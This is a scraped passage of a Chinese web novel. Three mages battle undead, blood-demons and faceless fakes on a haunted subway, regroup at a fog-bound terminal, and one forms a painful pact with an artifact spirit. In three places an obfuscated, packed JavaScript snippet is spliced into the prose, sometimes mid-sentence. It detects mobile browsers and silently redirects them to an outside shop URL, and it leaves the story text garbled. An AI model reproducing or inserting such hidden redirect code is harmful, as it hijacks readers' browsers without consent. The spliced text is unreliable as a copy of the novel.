但危险并不给她留下太多的思考时间,灯光再次变换时,曲浮玉已有经验,她一边在心里默默计算每次红光出现的时间试图找到规律,一边警惕地拎起铁杆时刻准备应对随时可能出现的危险。 第二次红光洒落,车厢再次发生剧大变化,但这一次除了设施的快速锈化和凭空出现的大片血迹之外,还多出了许多不该出现的东西。 地面和座椅的各处突兀的显现出不该存在的残肢碎块,血淋淋的似乎才从身体上撕下来。 曲浮玉眼尖的注意到这一次的血迹和上一次有微妙的不同,大片泼洒的血迹从颜色上来看要比上次浅淡许多。 大概就是刚刚洒出的鲜血和留存一天的血迹的区别。 危险的氛围在一点点增加,但还没有直接威胁到曲浮玉。 她站在遍地血腥中,鼻尖嗅到填充了整个空间乃至于无孔不入的血腥气。 曲浮玉紧皱着眉头立在原地,默默数完不多不少的五分钟。 令人安心的白光重新笼罩着她,曲浮玉仰头吐出一口气。 简直像是死亡场景回溯,每一次红光亮起就离久远到不知何时的凶杀现场更近一步。 照这个速度,下一次说不定就要和那个屠了几个车厢的‘凶手’打照面了。 只怕不是一个嗜血的杀人凶手这么简单,曲浮玉心想,身处诡异的地渊,等会儿她就是要和那些死过去又‘活’过来的残肢say hello都半点不奇怪。 没想到一语成谶,第三次红光照耀,地面和车厢壁上的血液回复到流淌的状态,上一次的残肢碎块变得更多更完整,由尸块拼接而成的‘活’过来的死人摇晃着脚步出现在车厢里。 曲浮玉嘴角一抽,没想到她还有点当预言家的天赋。 不过她倒是更愿意面对杀人如麻的地铁杀人狂来着! 提着铁杆主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195054|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动冲出去的曲浮玉在心里吐槽道。 这一次出现的活死人数量不算多,四节车厢加起来也不过一掌之数,曲浮玉当机立断地冲向离自己最近的一个,带着破空声的铁杆迎面劈在活死人脸上。 尚且新鲜的血液从尸块迸裂的缝隙中溅出来,躲避不及的曲浮玉脸上也沾染上了一些。 来不及嫌弃,力道耗尽的铁杆顺着去势轮了一个圈,再次虎虎生风地砸在另一侧摇晃着凑近的活死人身上。 曲浮玉这次眯着眼及时躲开了溅起的污血,眼神快速扫过被她掀翻的两个活死人,心中明悟。 再出手时,她就专挑着尸块连接的缝隙处打,虽说这些由残肢拼接的活死人死而不僵,理论上是打不死的,但如果能把聚集的尸块打散,威胁性就大大降低了。 也就是这些活死人一看就是没有半点思维能力的一堆肉块,曲浮玉的梦引术对这种无意识的低级魇兽没有太大作用,毕竟它们连梦都不会做,不然的话她一招虚梦下去连脚都不用挪一下呢! 第三次红光也安全度过,但曲浮玉半点不觉得安心,现在的活死人数量不多,她暂且还能应付,可是谁知道接下来还会怎么变? 万一下一次活死人数量一下增多呢? 万一它们不再那么容易被打散了呢? 曲浮玉的体力有限,跟不知疲惫的活死人可不一样。这样消耗下去,指不定哪一次她就等不到白光再亮起,永久的葬身在五分钟的红光里了! 这样不行,不能再这样被动了! 曲浮玉再次走到看不见的空气墙面前,方才砸在车窗上的力道反弹回来时震麻了她的半边身子,对内部破坏的封禁力度可见一般。 那么唯一可能的出路就只有这面透明的空气墙了。 白光环境下很安全的车厢曲浮玉已经查看过很多次了,也试过用她能想到的各种攻击手段招呼这面空气墙,但无一不以失败告终。 不过,曲浮玉看着空气墙对面不知是真是假的车厢景象,其实还有一种情况她没有尝试过。 她静静地守在空气墙旁边,数着时间等待红光的降临。 光线一暗,死而不僵的活死人再次摇晃着出现在车厢里。 如她所料,活死人的数量不仅变多了,尸块连接处的痕迹也更为自然,估计红光再切换一次就能直接还原到毫无连接痕迹的完整尸体了。 曲浮玉深吸一口气,双手握紧铁杆,没有去关注身后围拢过来的活死人。 她只全神贯注地紧盯着眼前的空气墙,透过无形的阻隔能看见其后同样洒满红光的空荡车厢。 但与白光时相比,肉眼不可见的空气墙多了一丝无形的波动。 如果说白光时是假象,红光照耀下才是真实,那么想要破开这到看不见的空气墙——唯有在真实的血红照耀下! “给我开!!!” 曲浮玉调动神念,璀璨的星芒沿着铁杆盘旋而上,与落下的暴喝声一起重重砸在泛着轻微涟漪的空气墙上! “轰——” 平稳如地面的车厢骤然剧烈晃动起来! 23. 三分之二 “……什么情况?” 气势如虹冲出去的白洛冲到一半就紧急刹车,倒不是他突如其来的善心大发想放这些见鬼的泣血妖一条生路。 而是目之所及的所有怪物突然失去了踪迹。 包括张牙舞爪直冲他来要和他正面battle的,也包括死状凄惨被白洛掀到车厢顶上又重重砸下来的。 总之一个也没给他剩下。 白洛一腔决一死战的英雄孤胆略感寂寞。 “好吧,”虽然没有人,但白洛还是不自在的摸摸鼻子,抬头看了眼头顶亮堂堂的白光,“看来是这光的问题?” 很明显,毕竟昏暗的红光一下就变成白的了,活像被谁给拉了电闸。 “呃现在怎么办?”白洛左右看看,这个时候他才有时间仔细看看这个所谓的地铁车厢。 干净的座椅,口鼻间呼吸的空气和泣血妖满身的脏污腥气相比简直称得上清新! 白洛忍不住深吸一口气,感叹道:“这一键清怪的设计,还挺神奇!” 除去没了活的死的泣血妖们和打斗时的遍地血污之外,整个车厢和红光时候没有太大区别,连白洛之前折下来的铁杆也还是牢牢握在他手里,而车厢中部的铁杆则不见踪迹。 “不知道现在能不能砸开?”白洛跃跃欲试地瞄了两眼仍旧是黑漆漆一片的车窗,什么材质的玻璃是他白洛的力道都砸不开的? 甚至连个划痕都没留下! 不过冷静下来后白洛还是遗憾地放下了这个很可能吃力不讨好的想法。 他接着提步走向另一头的车厢,最开始往这边冲的目的是什么他可还没忘记呢。 首先有必要去看看对面的车厢是不是也被空气墙挡下了! 四节车厢的距离不算长,白洛很快再次走到了头,挡在他面前的是和对面如出一辙的空气墙。 “这下好了,真给我关起来杀了……”白洛抬手拍了拍眼前看不见但确实存在的阻碍。 直觉现下这种没有危险但同样也没有出路的安逸不会太长久,白洛觉得他迟早还得回去面对那见鬼的泣血妖。 抱着试一试的想法,他提着夺生蓄力往空气墙上一刺。 车窗都能防得住他引以为傲的怪力,白洛其实不觉得自己能击破这道一看就比车窗结实的空气墙。 谁料到下一秒,亮堂堂的白光像来时一样,措不及防的一键切换成了熟悉的昏暗红光。 太过突然的变化让白洛措手不及,但刺出的力道已经来不及收回。 当然,白洛也没打算收回。 只是紧接着,白洛拿刀的手被空间里响起的熟悉嗓音吓得一抖。 “我靠!……白洛你丫谋杀啊?!!!” 白洛的短刀在半路就被截住了,没能切实落到空气墙上。 但那道看不见的空气墙的确被破开了。 被面前钻出的一丛幽蓝渡火烧了个干净。 紧随其后的容栖刚探出头就差点迎面接下好友的穿心一刺。 险之又险地拦下白洛的手,容栖冷汗都下来了。 白洛尴尬的收回手,问道:“老容,你打破空气墙了啊?” 容栖没揪着他这当头一刀计较,跨过贯通道走到白洛这边。 时间倒回之前,正打算用渡火招呼空气墙的容栖也被突然变化的光线惊了一下。 待到回头看见陡然动作起来的整整四节车厢的伪人之后,他立马反应过来。 “好家伙,敢情这些个假冒伪劣人类还是灯控的不成?!” 这样看来,那个仿真度显得格外高的眼镜小哥的确才是不合群的异类了。就他一个是在白光底下就跑来招惹容栖的。 真是,你不死谁死! 在心里腹诽一下,容栖抬手就是几道风刃击退最近的几个伪人。 如他所料,这些伪人和之前那个眼镜小哥明显是一个物种,朔风刮过的地方同样也涌出黑红色的粘液,不难想象其下熟悉的丑模样。 容栖飞起一脚踹飞围堵过来的伪人,暗道一声不妙。 他可没忘记刚才那无脸怪的诡异之处,在这些伪人保持人形,披着人皮的时候尚且还很好对付,然而一旦让它们脱离了这幅人类的皮囊,反倒是水火不侵了。 普通的攻击性阵法对无脸怪的伤害十分有限,最行之有效的还是渡火。 可整整四节车厢的伪人,容栖可经不起这样消耗。 他也不想浪费力气在这上面。 容栖在退避间被挤着远离空气墙的位置,他抬眼瞄了一下两者的距离,觉得不能再这样下去了。 他伸手摸出四枚铜钱夹在指间,身轻如燕地踏着旁边伪人的大腿纵身跃到半空中,手中的铜钱分别射向四方,同时口中念念有词道: “朱雀凌光,神威内张!山源四镇,鬼兵逃亡!” 位于四个角的铜钱之间以隐约的金线快速勾连,结成一个金光灿灿的大阵迎头压下。 容栖轻巧落地,正好落到他之前在空气墙面前的位置。 回头一看,四节车厢的伪人一个不少的齐齐被亮堂堂的金光大阵镇压,一个个身上滋滋冒着黑气,面目痛苦的扭曲着却只能一动不动。 “好好的诸邪退避金光大阵,居然只能拿来当定身咒用,”容栖还不太满意的样子,颇为心疼地摇头,“浪费浪费,实在是浪费!” 要知道,即使是提前制作,像这种威力巨大的阵法要做成随身携带的铜钱阵盘也是要费不少心思的。 好一会儿才勉强把自己哄好的容栖收拾好情绪,回神看向空气墙。 指间燃起一豆火苗,容栖试探地往空气墙上靠。 蓝色的渡火静静燃烧,但无形无影的空气墙确实随着火苗的燎动荡出了层层涟漪。 确定了渡火有用之后容栖反倒收回手,一把扯出了颈间的吊坠,对着空气自言自语。 当然,容栖知道自己不是自言自语。 吊坠里那位也知道。 “这列地铁马上就要到终点站了,毫无疑问,终点站会更危险。” “我得找到白洛他们,在那之前离开地渊!” “巫杭,我记得你说神器有穿梭世界的能力。” 即便现在的巫杭无力带着容栖凿开壁垒、穿梭世界,但地渊的级别肯定还是可以的,毕竟地渊和现世的壁垒本来就很脆了。 异变的地渊空间里危机四伏,与其拖着时间在这里找不知道在哪里的裂缝出口,不如借着巫杭的力量快速离开。 容栖眯着眼想,虽然早了一点,但能趁着这个机会和巫杭结契最好。 希望被他故意放置不理的巫杭还对他心怀愧疚吧! 空间里除了后方被镇压的伪人们偶尔泄出的嗬嗬喘气声之外再无其他声响。 但这是容栖恢复记忆之后第一次主动找巫杭说话,容栖知道他一直在等。 如果他还醒着的话。 容栖叹了口气,“和我结契吧,巫杭。” 说完这句,容栖不再等待,掌心蓄势已久的渡火轰然砸向面前的空气墙! 然后容栖就直面了队友的痛击。 “看来你这边是泣血妖啊,”情势不允许,容栖也没和白洛多说什么。 看来之前那个眼镜青年所说的‘它们’指的就是泣血妖了,但至少这种较为常见的魇兽他还是知道的,比旁边那不知名的无脸怪要好对付。 白洛一扭头就看见上次几乎被他杀了个干净的泣血妖们又聚起一大片,完全恢复到一开始围殴他的数量,不禁咂舌。 “还带刷新的吗?这还怎么玩!” 这样持续下去,再来几个白洛也不够它们杀的啊! 怪物才懒得理会白洛的抱怨,一心一意的朝着车厢里唯二的俩活人冲过来。 “喂!”容栖喊了白洛一声,提醒道:“时间有限,赶紧打完我们快点去找曲姐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195055|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一到了那个神神秘秘的终点站,不知道还会撞见什么妖魔鬼怪! “明白!” 白洛没问时间怎么就有限了,他知道容栖一定是发现了什么。 话音刚落,白洛已经身形如电地蹿了出去,他动作迅疾,纵跃如飞,左脚掌在地上猛力一蹬,飞身挡在泣血妖和容栖之间。 怪物们一拥而上,白洛握紧夺生,出刀迅速,疾如闪电,在空中留下一道道残影,发出呼呼的声响。 这还是两人坦白局之后容栖第一次真正意义上见白洛出手,在苷荫塘那次不算。 这么看来,老白说他最擅长的是近战,还是很有几分道理的。身手确实非常利索啊,容栖暗自赞道。 不过欣赏归欣赏,容栖看得出来,就算白洛的身手再好,但这么多泣血妖,他也很难在短时间内快速解决。 主要是他们现在比较赶时间。 容栖看了一眼还在酣战之中的白洛,正好,有老白在前面给他护阵,就让他来个可以一键通关的团灭阵法吧! “老白,护法啊!” “啊?你要干嘛?”白洛抽空往容栖哪里瞟了一眼,却见那家伙已经双目微阖,修长的手指流畅而迅速地变换指诀。 “啧!” 白洛无法,只能手里长杆一伸,把往容栖那里去的不懂事的泣血妖给拦回自己身前。 “回来吧你!给我乖乖等着挨打吧丑东西!” 这边容栖嘱咐白洛一句,即刻便心无旁骛专心布阵。 “震离坎兑,翊赞扶将!” “乾坤艮巽,虎伏龙翔!” “有急相助,常辅扶匡!” “追我者死,捕我者亡!” 指诀快速掐动,从天地合到水波印。 随着带有神念的口诀一字字念出,一圈圈蓝色的阵纹在车厢顶部勾勒出来。 念完最后一句口诀,深蓝色无比玄奥的天罡星阵终于定型,容栖并指往前一伸,冲白洛喊了一声。 “老白,退!” 白洛反应迅速,足尖抵住车壁,使力一蹬,身子贴地斜向后方倒飞而去。 下一秒,蓄势待发的大阵轰然落下。 只见巨大的蓝色阵纹缓缓旋转,看着和缓,却毫不留情地将阵中的泣血妖撕得粉碎,散落的残肢一点点化为细碎的闪烁星光汇入阵纹之中,原地连渣都没剩下。 白洛拍拍手站起来,啧啧称奇,“你们法师都这样?” 阵中的泣血妖死得堪称迅速,还比白洛自己动手砍来的干净。 “是这样的,咱们法师开大就是这么壮观!” 容栖没好气的怼了白洛一句,待挤满车厢的泣血妖都死绝了才跺跺脚收了阵。 他缓缓吐出一口气,“呼~开大当然好啊,就是有点耗蓝。” 白洛也知道这么大的阵法肯定消耗不小,数落道:“那你逞什么能?难道少爷我还能干不过区区泣血妖?” 反正再给他一点时间照样能给它们团灭! 容栖这时候又不记得刚刚还在心里一个劲儿自顾自的欣赏人家了,出口毫不客气。 “没办法,都说了赶时间,等老白你把这么一大堆泣血妖一个个戳死,黄花菜都凉了好吧?” 两人说话间默契地往另一侧的车厢走,容栖从车厢这头钻出来,不用猜也知道曲浮玉肯定在对面了。 “怎么说话呢你!”白洛觉得容栖妥妥的在小看他,“那不是上一轮消耗太大,等我缓过来还不是……” 白洛想说解决这些泣血妖用上影刃也就是分分钟的事,但说到一半他突然想起自己好像还没和老容提过他也觉醒了特殊的神念来着。 哎呀,忘记了! “不是什么?” 容栖听他突然没了声,随口追问。 “没什么,到了!”白洛暂时按下坦白的想法,等出去再说吧。 两人停在空气墙面前。 24.终点站 容栖召出渡火,说:“这墙渡火能烧,曲姐应该就在对面了。” “等等!”白洛一把抓住容栖,“你听!” 容栖停下脚步凝眉细听,有极细微的喀嚓声。 双眼豁然瞪大,容栖连忙扯着白洛一个急退。 “退后!” 最先出现的是零星几簇闪烁的璀璨星芒,然后是乍然碎裂的空气墙! “曲浮玉!”白洛惊喜道。 打碎空气墙的正是二人在寻的曲浮玉! 曲浮玉往前踏了两步卸掉冲力,抬头冲他们笑道:“不错嘛,你们已经先汇合了!” 容栖把曲浮玉拨到两人身后,看着她身后摇晃的活死人,调笑道:“哎呀,是曲姐姐最不擅长对付的类型呢。” “最烦这种头脑愚钝四肢僵硬的无脑生物了!”曲浮玉难得没怼他,颇为赞同。 白洛不关心敌人有没有脑子,或者有几个脑子,问容栖:“这次该轮到我了吧?” 容栖眯了眯眼,忽然想到之前他那边的无脸怪的话。 “不急,先看看。” 如果按照这个列车分段的规则,说不定根本用不着他们出手。 白洛不知道是要等什么,但他按捺住了没出手。 过了一会儿,白洛默默把抬在半空中的短刀放下,“你早知道了?” 他们三个大活人在这里也站了好一会儿了,但视线里的活死人就跟瞎了一样对他们视而不见,半点没有攻击的欲望。 “那倒没有,”容栖很谦虚的样子,“我猜的。” 信你才怪!白洛横他一眼。 危机暂时解除,三人情绪都暂时放松下来。 “容栖!”曲浮玉叫了容栖一声,打算提一嘴她发现的红白光轮换的规律,虽说现在是红光,也没有在这边的车厢里看见什么危险,但还是有必要说一下的。 “怎么?” “你们有遇见光线变化吗?我刚才……” 说曹操曹操到,车厢里的红光十分配合地切换到了白光。 曲浮玉看到旁边车厢里摇晃的活死人眨眼间消失无踪。 容栖:“喏,这不就变了。” “好吧。”曲浮玉点点头,正打算接着往下说,不合时宜的播报声再次打断了她。 “本次列车终点站为——灵官渡。” 在场三人表情俱是一凛。 “去往灵官渡站的乘客请注意,列车即将到达灵官渡站,请小心列车与站台之间的空隙——” 等了几秒,机械的播报声没再响起。 白洛道:“终点站?灵官渡?可是也没见地铁在其他站台停靠啊,怎么直接就到终点站了!?” “而且也只有终点站才有播报,”曲浮玉道,“我之前还怀疑地铁到底有没有在运行。” 白洛看向默不作声的容栖,“老容,你说时间有限指的就是这个?” “是啊,”容栖叹气,“我在前面四节车厢里遇见的怪物告诉我的。” “我是想在到达终点站之前赶紧离开这个地渊裂缝啦,不过找不到出口也是白搭。” 说罢,容栖无奈摊手,他们三人才刚聚齐就到终点站,时间实在来不及也是没办法的事。 列车缓缓入站,三人的身体在惯性的作用下向前倾倒。 不过下盘稳当是玄术师的基本功,曲浮玉抓到了容栖话中的重点,她追问道:“终点站有什么?” “我猜,有人形怪!有点难打的那种。” 容栖说道,抬了抬下巴示意两人往缓缓打开的车厢门看去。 车厢里的白光倾泻而出,只照亮了门前的一小片地面。 曲浮玉目光向外探去,浓浓的雾气笼罩着整个站台,静悄悄的没有一点声响。 白洛怀疑道:“人形怪?哪有?” “诶?”容栖眨了眨眼,想到被自己强势镇压了的伪人们,哼笑一声,“除非这列地铁是第一列进站的啦。” 而第一波人形怪被他无情镇压了。 白洛和曲浮玉对视一眼,搞不懂他在打什么哑谜。 “所以接下来怎么办?要不我们出去看看吧!” 地渊里还有运行的地铁,甚至还一路像模像样的开到了终点站,多稀奇的事儿啊。 说不好奇是假的! “不——要——”容栖拖长了声回道,“那些恶心巴拉的假人实在污染我的眼睛,我一点也不好奇!” “那你打算怎么办,再坐一次地铁原路返回?” 白洛嗤笑一声,“得了吧,这奇奇怪怪的地铁,谁知道它要什么时候往回走,你连它会不会往回走都不知道!” “你以为我们是来地渊探险的吗?”容栖振振有词,“拜托,咱们的第一要务是找到出口,不要节外生枝!” 白洛一噎,想起来容栖还要出去堵他跑路的师父,顿时无话可说。 但曲浮玉在此时插了一嘴,“那恐怕我们不得不进迷雾看看了。” “啊?”白洛和容栖同时扭头看她。 “你们看,里面有裂隙蜘蛛。” 两人循声看去,果然,借着车厢的白光能看见迷雾稍远一些的地方有影影绰绰的昆虫身影。 脸盆大小的裂隙蜘蛛是地渊里极为特殊的一种魇兽,它们几乎没有什么攻击力,一生都在追逐各种空间裂隙。 所以通常地渊裂缝附近都会有裂隙蜘蛛的存在,在地渊里找不到出路的玄术师有时也会通过裂隙蜘蛛来寻找地渊裂缝的位置。 这一点对此时的他们也同样适用。 暂时没有其他办法,容栖也不打算死犟。 “既然这样,那就……” 见他话说一半就没了声,白洛疑惑回头,“就怎么?老容?” “……” “容栖!!!” 被白洛贴脸的一声大喝震回了神,容栖表情一言难尽地一巴掌推开眼前的大脸,额角青筋抽搐。 “我还没聋呢喊什么喊,你就这么想招来怪物吗?” 白洛表示他有分寸,“不然你以为我干嘛凑那么近!” “还有你怎么回事,不行就在原地待着!” “你才不行呢,”容栖按了按额角,突然想到了什么,话锋一转,“不过我还是留在这里等你们吧,也避免一下子团灭了~” 曲浮玉不觉得容栖是胆小怕事,直截了当的问:“你有什么想法?” 白洛也盯着他,一脸我看你能说出什么花来的样子。 “唔,我想你们也知道了,白光是安全的。”容栖指了指头顶,“从列车进站到现在,车厢门一直开着,而且一直是白光。” “没错,”曲浮玉若有所思,“我算过光线变换的规律,五分钟一变,时间已经过了才对。” 容栖打了个响指,笑道:“我知道为什么!” “我们被关在不同的空间,面对的是不同的魇兽。” “尾部是曲姐姐,里面装的是活死人。中间是白洛,一直在打泣血妖。” “而我嘛,”容栖摸着下巴,“在列车前面四节车厢里见到一种奇怪的魇兽。” “伪装成人类摸样的时候很脆弱,攻击力不高。但一回到本体无脸怪的状态就变得水火不侵,数量一多就不太好对付。” “但它们是这辆列车上唯一能在红白两种光下都存在的怪物!” 曲浮玉反应过来,双眼一亮,“你的意思是?” “没错,其他两种怪物不能在白光时出现,所以现在车厢的白光是给它们准备的。” 容栖眉头一挑,下了结论,“为了在下车时将这种无脸怪区分出来。” 白洛疑惑:“那怎么没看到你说的那些怪物下地铁?” 容栖笑起来,眼睛弯弯的,“因为不太好杀,所以我把它们全关在车厢里了~” 在诸邪退避金光大阵被破开或者铜钱阵盘力量耗尽之前,那些假人是别想出来了! 而且他的金光大阵可是专业对口的见邪必杀,少有的能直接攻击到无脸怪本体的阵法,到时候还能剩下多少伪人逃过一劫可不好说。 白洛想起容栖团灭了泣血妖的蓝色大阵,抬手比了个大拇指。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197434|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “干得漂亮!老容。” 曲浮玉也赞道:“厉害啊!” 不像她的梦引术,对付人的时候堪称杀人不见血,到了地渊反而屡屡受挫。 唉,可惜她就是没有阵法天赋。 “嘿嘿——”容栖挠了挠鼻子,“阴差阳错的卡了个Bug哈哈哈!” 没错,容栖的阵法让伪人被关在车厢里出不来。而白光就是为伪人准备的,理论上来说只要车厢里还有伪人,白光就不会切换成红光。 也就是说,车厢会一直处于安全状态! 白洛:“所以你要留在车厢里守着那些伪人?” “不不不~”容栖伸出手指摆了摆,“请对我的阵法有点信心!” 他摸出几枚铜钱,说道:“我不担心有伪人能从我的阵里跑出来,但是车厢区域安全不代表迷雾内部也安全。” “我在这里是为了随时能把你们拉回来。” 白洛接过容栖递给他的一枚铜钱,上面写的是‘移花接木’。 曲浮玉手里的和他一样,白洛又探头去看容栖手里剩下的两枚。 是两枚空白的铜钱。 “你们走到我视线之外的话发动阵法需要一点媒介,给我你们的头发。” 白洛和曲浮玉拔过头发递过去。 容栖接过头发分别缠在手中的空白铜钱上,“遇见危险的时候念出铜钱上的字,然后掰断铜钱。” “虽然你们不能直接使用上面的阵法,但我可以感知到铜钱碎裂的位置把你们拉回来。” 容栖抬头看向面前的两人,“总之,打不过还有跑的机会。” “距离越远越费劲,进的太深的话我也没办法了哦!” 容栖用眼神重点关照了一下白洛。 “好啦好啦我记住了!” 曲浮玉捏紧手里的铜钱,发自内心的觉得阵师真是太好用了! 再一次流下羡慕的泪水! 交代清楚后,容栖挥挥手让两人赶紧出发。 走出两步,曲浮玉没忍住发出美好的期盼。 “啧啧啧,我下次进地渊一定也要带个阵师队友!” 这么方便的技能,简直居家旅行必备的好队友啊! 白洛知道她在想什么,嘲笑她道,“这你就想多了,可不是谁都有老容这种水平的!” 跟你有关系吗你得意个什么劲儿!曲浮玉转头欲怼回去,却发现人已经走向了另一个方向。 临走只丢下一句话。 “他那样的,一看就是天才那一挂的!” 等到眼看着两人的身影渐渐被浓雾淹没,容栖才脊背一松,他干脆原地盘腿坐下,挥挥手将两枚缠着头发的空白铜钱送至半空,确保容栖能一眼看见。 “行了,现在没人了,巫杭?” 别看容栖一通有理有据的分析,其实一开始他是打算和白洛他们一起进迷雾找出口的,只是话还没说出口就被脑海里突然冒出的巫杭的声音给吓一跳。 紧急的一通东拉西扯,半真半假的勉强给自己圆了回来。 “话说你什么时候学会传音了?” 容栖眼睛盯着飘在面前的铜钱,一手半托着腮,百无聊赖的问。 颈间暗蓝色的吊坠微微震动,巫杭有些缥缈的声音传到容栖耳朵里。 “一直都会,只是你没问过罢了。” 容栖才不关心这个,自顾自道:“既然你是醒着的,想必之前的话你也听到了。” “所以说,你的答复呢? ” 藏在领口下面的书型吊坠忽然自行脱离细绳,飘飘忽忽的升到容栖眼前,幽蓝细碎的光洒在容栖眼底。 简直像是巫杭在他面前正襟危坐似的,是在表达什么莫名其妙的郑重吗? 容栖腹诽道,顺便伸手把吊坠拨到一侧,说实话有点挡着后面的俩铜钱了。 巫杭有些无奈的声音传来,“结契不是这么简单的事,容栖。” 他道:“现在和我结契,对你来说是弊大于利。” 容栖托腮的手往上挪了挪,堵住了耳朵。 25.结契 “是是是,我不够格嘛!”容栖阴阳怪气道:“咱俩搭伙了快二十年,我也前天才知道您老人家——原来还是个神器器灵呢!” “我容栖算什么呀,再世为人十七年,不是被你骗就是被你拒绝,哇巫杭你这是什么品种的渣男啊?说得我都心疼我自己了!” 本打算好好和容栖说清楚其中道理的巫杭再次怀念起自己的人形来,他真的很想让容栖看看自己无语的表情! “行了,”本就虚弱的巫杭感觉自己更累了,“我也不是不愿意,只是有些情况你需要心里有数。” 容栖眼睛一亮,瞬间收回堵耳朵的手,“这么说你答应了?!” “我刚才可听得清清楚楚!”容栖一脸不信任,“不准反悔啊巫杭!” 巫杭:“……行、不会反悔!” “现在能好好听我说话了吧?” 容栖乖巧点头,“诶您说您说!” “你应该还记得我跟你提过的上一任神器之主吧?” “那个灭世的暴躁大哥嘛,”容栖撇撇嘴,“我知道你肯定又要说我是实力不够。” 巫杭实话实说,“跟他比起来,你现在的确是弱的不堪一击了。” “扎心了,”容栖浮夸地捂着心口,“所以我才要和神器结契嘛!” 巫杭:“这就是问题所在,对他来说,因为自身实力已经很强了,得到神器当然是如虎添翼。” “但你不一样,神器对你来说,很可能就是雪上加霜,不是裨益而是拖累了。” 容栖道:“因为我太弱了?” “没错,”巫杭应道,“成为神器的宿主,听起来风光,但成为宿主意味着你也要给它提供养分。” “要知道,供养一把真正的神器可不是一件容易的事。” 容栖缓缓眨了眨眼,拧着眉头一副很为难的样子,“可是这也是没办法的事,这个灵官渡绝对不像我们看到的这么简单,里面就算真有地渊裂缝,鬼知道会通到哪里去!” 这整个运行的诡异地铁和眼前的站台,在容栖看来就像是一个大型的魇兽运输线。 这么多怪物居然按部就班的被装在地铁列车里运过来,甚至是在相互之间知道对方存在的情况下。虽然目前为止都是平静无波的样子,但等危机真正降临的时候一切就都晚了。 巫杭淡淡的声音近在咫尺,“你想和我结契,真的只是这个原因吗?” 容栖嚷嚷着巫杭总是在拒绝他,但他自己何尝不是半遮半掩着不够坦诚呢? “容栖,”他叹道,“你大可以说实话的,答应了和你结契,我便不会反悔。” “你才是,对我多一点信任好吧?”容栖嘴角挑起,戳了戳飘在身侧的吊坠,“哪有那么复杂,我就不能贪图一下神器的威能?” 可这神器对你来说只是个拖累。 巫杭不信容栖会因为区区一个神器的名头就死活要和他结契,但容栖不说他也没辙,只好泄气道: “既然你意已决,我也不再多问。” “结契吧。” “早这么干脆不就得了!”容栖得了便宜还卖乖,“怎样?需要我做什么吗?” “不必,你收拢神念,不要拒绝我。” “啊?”容栖愣了一下,断然拒绝,“不行,收敛神念我就不能随时感知白洛他们的铜钱了,搞不好会出事!” “……那就没办法了,”巫杭轻叹一声,“你维持原状即可,但是会有些疼。” “你既想要借神器之力离开地渊,结契便耽搁不得。” “没事,”容栖沉下心神,“痛就痛了,来吧!” 下一秒,幽蓝的书型吊坠化为一个更小的光点直冲容栖眉心而去。 容栖知道会痛,但没想到会这么痛。 蓝光没入额间的一瞬间,不像是结契仪式,倒像是一把掀了容栖的天灵盖。 然而这还只是开始。 容栖一直知道,玄术师的神念能力是类似于精神体的存在,和意外觉醒的神念者一样是意识的具象化,所以从某种意义上来说,他体内神念最聚集的精神域应该就是修仙小说里提到的识海。 他从未如此清晰的感知到自己识海的所在。 上次宜苏的幻铃引发的疼痛已经足够他印象深刻了,而现在他所感知到的,简直就是有十万个宜苏在他脑袋里开演唱会! 他脸上的肌肉拧作一团,眉头紧皱,一滴又一滴的冷汗从额间冒了出来。 顾忌着可能存在的危险,容栖不敢叫出声,死死咬着嘴唇,唇瓣逐渐渗出血来。 明亮的安全区域里时不时响起泄出的一两声痛苦呻吟。 渐渐地,聚集在头部的疼痛感开始向外蔓延,容栖头一次这么恨自己异于常人的感知力,让他清晰的感受到无形的痛感犹如跗骨之蛆慢慢爬满全身。 宛若浑身的骨肉被碾作了沙,容栖指甲陷入掌心都已经感受不到应有的清醒。他急促地喘息着,眼眶通红,生理性的眼泪混杂着汗水流下,湿漉漉的头发胡乱贴在额头上,看见模糊的视野里飘在半空的铜钱由两个变成了四个。 不妙啊,容栖心中暗道,他要是在这里昏过去可就糟了。 “咳、巽字,朔风!” 明明有忍着没叫出声,容栖的嗓音还是沙哑得吓人。 凛冽的风刃凭空出现,只是这次砍向的不是无脸怪也不是泣血妖。 而是容栖。 “呃唔!痛、痛死了……” 血顺着手臂流下,所幸这次总算唤回了容栖已经有些涣散的意识。 他痛得几乎麻木了,甚至能有气无力地问巫杭结契的进度。 “我说……到哪一步了啊?再不结束也不用等神器救我出地渊了……” 他自己就先挂了…… 隔了一会儿,就在容栖计划这次砍哪里比较好的时候,巫杭总算又出声了。 “容栖!” 痛得神志不清的容栖勉强应了一声。 巫杭:“最后一步了,你跟着我念!” “五星之气,六甲之精!” 容栖努力集中自己稀碎的精神,认真听清巫杭的每一个字。 